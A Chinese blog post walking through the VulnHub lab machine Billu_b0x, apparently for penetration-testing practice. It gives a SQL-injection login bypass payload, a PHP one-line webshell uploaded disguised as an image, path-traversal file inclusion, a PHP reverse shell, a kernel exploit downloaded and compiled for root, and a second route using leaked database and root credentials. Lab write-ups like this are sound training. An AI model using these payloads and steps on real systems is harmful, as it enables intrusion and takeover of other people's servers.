打靶记录11——Billu_b0x

靶机:

https://download.vulnhub.com/billu/Billu_b0x.zip

难度:

  • 中(两种攻击路线)

目标:

  • 取得root权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入(Sqlmap跑不出来)
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意:

选择包含所有网卡的MAC地址,就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器,根据提示Show me your SQLI skills ,那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包,发到BurpSuiteIntruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了,提示You are allowed
image.png
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能,尝试上传一个有一句话木马的shell.php,但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包,修改文件名后缀,Content-Type,还有添加GIF89a;文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
Show Users里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码,也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的,那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users,然后点击Continue,然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd就能成功读取到文件,说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shellphp的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png,但是内容是反弹shellphp的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头,然后IP和监听端口设置成kali
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
image.png
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本,是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索,发现一个C语言的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录,然后开启http服务
image.png
然后让靶机下载这个exp.c,用gcc把它编译成一个二进制文件,给它执行权限,然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter,但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功,还有POST方式
image.png
POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
image.png
那我们查看一下首页index.php,前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php
  // 开始会话,确保可以使用 $_SESSION 超全局变量
  session_start();

// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');

// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {
  $_SESSION['logged'] = '';
}

// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {
  // 显示已登录的消息
  echo "you are logged in :)";
  // 重定向到 'panel.php'
  header('Location: panel.php', true, 302);
} else {
  // 如果用户没有登录,显示登录表单
  echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
}

// 检查是否点击了登录按钮
if(isset($_POST['login'])) {
  // 将'\'替换为''
  $uname = str_replace('\'', '', urldecode($_POST['un']));
  $pass = str_replace('\'', '', urldecode($_POST['ps']));

  // 创建 SQL 查询来检查用户名和密码是否匹配
  $run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
  // 执行 SQL 查询
  $result = mysqli_query($conn, $run);

  // 如果查询结果有行,则用户凭据正确
  if (mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    echo "You are allowed<br>";
    // 设置会话变量以表示用户已登录
    $_SESSION['logged'] = true;
    $_SESSION['admin'] = $row['username'];
    // 重定向到 'panel.php'
    header('Location: panel.php', true, 302);
  } else {
    // 如果凭据不匹配,显示警告信息
    echo "<script>alert('Try again');</script>";
  }
}

// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',服务端没有进行严格的筛选和限制

  • \右斜线是转义符,相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #,0=0永远为真

搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径,可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin,使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
auth表里面发现正常的账号密码biLLu hEx_it,可以直接登录首页
image.png
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集,端口扫描的时候是发现它开启了22端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root用户!
image.png

总结:

  • 打完写个Note,天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。
posted @ 2024-08-15 19:05  Fab1an  阅读(73)  评论(0编辑  收藏  举报